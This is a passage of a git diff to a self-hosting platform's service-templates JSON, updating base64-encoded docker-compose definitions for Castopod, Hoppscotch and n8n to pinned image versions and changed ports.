sdGh5CiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", diff --git a/templates/service-templates.json b/templates/service-templates.json index 5307b2259..49f1f126f 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -489,7 +489,7 @@ "castopod": { "documentation": "https://docs.castopod.org/main/en/?utm_source=coolify.io", "slogan": "Castopod is a free & open-source hosting platform made for podcasters who want engage and interact with their audience.", - "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DQVNUT1BPRF84MDAwCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtICdDUF9ESVNBQkxFX0hUVFBTPSR7Q1BfRElTQUJMRV9IVFRQUzotMX0nCiAgICAgIC0gQ1BfQkFTRVVSTD0kU0VSVklDRV9GUUROX0NBU1RPUE9ECiAgICAgIC0gQ1BfQU5BTFlUSUNTX1NBTFQ9JFNFUlZJQ0VfUkVBTEJBU0U2NF82NF9TQUxUCiAgICAgIC0gQ1BfQ0FDSEVfSEFORExFUj1yZWRpcwogICAgICAtIENQX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBDUF9SRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwMDAvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4yJwogICAgdm9sdW1lczoKICAgICAgLSAnY2FzdG9wb2QtZGI6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICBjb21tYW5kOiAnLS1yZXF1aXJlcGFzcyAkU0VSVklDRV9QQVNTV09SRF9SRURJUycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWNhY2hlOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgLWEgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMgcGluZyB8IGdyZXAgUE9ORycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOjEuMTUuNCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DQVNUT1BPRF84MDgwCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtICdDUF9ESVNBQkxFX0hUVFBTPSR7Q1BfRElTQUJMRV9IVFRQUzotMX0nCiAgICAgIC0gQ1BfQkFTRVVSTD0kU0VSVklDRV9GUUROX0NBU1RPUE9ECiAgICAgIC0gQ1BfQU5BTFlUSUNTX1NBTFQ9JFNFUlZJQ0VfUkVBTEJBU0U2NF82NF9TQUxUCiAgICAgIC0gQ1BfQ0FDSEVfSEFORExFUj1yZWRpcwogICAgICAtIENQX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBDUF9SRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwODAvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4yJwogICAgdm9sdW1lczoKICAgICAgLSAnY2FzdG9wb2QtZGI6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICBjb21tYW5kOiAnLS1yZXF1aXJlcGFzcyAkU0VSVklDRV9QQVNTV09SRF9SRURJUycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWNhY2hlOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgLWEgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMgcGluZyB8IGdyZXAgUE9ORycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "podcast", "media", @@ -503,7 +503,7 @@ "category": "media", "logo": "svgs/castopod.svg", "minversion": "0.0.0", - "port": "8000" + "port": "8080" }, "changedetection": { "documentation": "https://github.com/dgtlmoon/changedetection.io/?utm_source=coolify.io", @@ -2030,7 +2030,7 @@ "hoppscotch": { "documentation": "https://docs.hoppscotch.io?utm_source=coolify.io", "slogan": "The Open Source API Development Platform", - "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9IT1BQU0NPVENIXzgwCiAgICAgIC0gJ1ZJVEVfQUxMT1dFRF9BVVRIX1BST1ZJREVSUz0ke1ZJVEVfQUxMT1dFRF9BVVRIX1BST1ZJREVSUzotR09PR0xFLEdJVEhVQixNSUNST1NPRlQsRU1BSUx9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QGhvcHBzY290Y2gtZGI6NTQzMi8ke1BPU1RHUkVTX0RCfScKICAgICAgLSAnREFUQV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0X0RBVEFFTkNSWVBUSU9OS0VZfScKICAgICAgLSAnV0hJVEVMSVNURURfT1JJR0lOUz0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kLCR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9LCR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTPSR7TUFJTEVSX1VTRV9DVVNUT01fQ09ORklHUzotdHJ1ZX0nCiAgICAgIC0gJ1ZJVEVfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfU0hPUlRDT0RFX0JBU0VfVVJMPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9JwogICAgICAtICdWSVRFX0FETUlOX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9hZG1pbicKICAgICAgLSAnVklURV9CQUNLRU5EX0dRTF9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfV1NfVVJMPXdzczovLyR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQvZ3JhcGhxbCcKICAgICAgLSAnVklURV9CQUNLRU5EX0FQSV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC92MScKICAgICAgLSAnVklURV9BUFBfVE9TX0xJTks9aHR0cHM6Ly9kb2NzLmhvcHBzY290Y2guaW8vc3VwcG9ydC90ZXJtcycKICAgICAgLSAnVklURV9BUFBfUFJJVkFDWV9QT0xJQ1lfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3ByaXZhY3knCiAgICAgIC0gRU5BQkxFX1NVQlBBVEhfQkFTRURfQUNDRVNTPXRydWUKICAgIGRlcGVuZHNfb246CiAgICAgIGRiLW1pZ3JhdGlvbjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfY29tcGxldGVkX3N1Y2Nlc3NmdWxseQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBob3Bwc2NvdGNoLWRiOgogICAgaW1hZ2U6ICdwb3N0Z3JlczpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotaG9wcHNjb3RjaH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGRiLW1pZ3JhdGlvbjoKICAgIGV4Y2x1ZGVfZnJvbV9oYzogdHJ1ZQogICAgaW1hZ2U6ICdob3Bwc2NvdGNoL2hvcHBzY290Y2g6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hPUFBTQ09UQ0hfODAKICAgICAgLSAnVklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTPSR7VklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTOi1HT09HTEUsR0lUSFVCLE1JQ1JPU09GVCxFTUFJTH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREJ9JwogICAgICAtICdEQVRBX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfREFUQUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdXSElURUxJU1RFRF9PUklHSU5TPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQsJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0sJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M9JHtNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTOi10cnVlfScKICAgICAgLSAnVklURV9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfScKICAgICAgLSAnVklURV9TSE9SVENPREVfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfQURNSU5fVVJMPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdWSVRFX0JBQ0tFTkRfR1FMX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL2dyYXBocWwnCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9XU19VUkw9d3NzOi8vJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfQVBJX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL3YxJwogICAgICAtICdWSVRFX0FQUF9UT1NfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3Rlcm1zJwogICAgICAtICdWSVRFX0FQUF9QUklWQUNZX1BPTElDWV9MSU5LPWh0dHBzOi8vZG9jcy5ob3Bwc2NvdGNoLmlvL3N1cHBvcnQvcHJpdmFjeScKICAgICAgLSBFTkFCTEVfU1VCUEFUSF9CQVNFRF9BQ0NFU1M9dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgZGItbWlncmF0aW9uOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9jb21wbGV0ZWRfc3VjY2Vzc2Z1bGx5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIGhvcHBzY290Y2gtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBkYi1taWdyYXRpb246CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", "tags": [ "api", "development", @@ -2884,7 +2884,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSBPRkZMT0FEX01BTlVBTF9FWEVDVVRJT05TX1RPX1dPUktFUlM9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBuOG4td29ya2VyOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1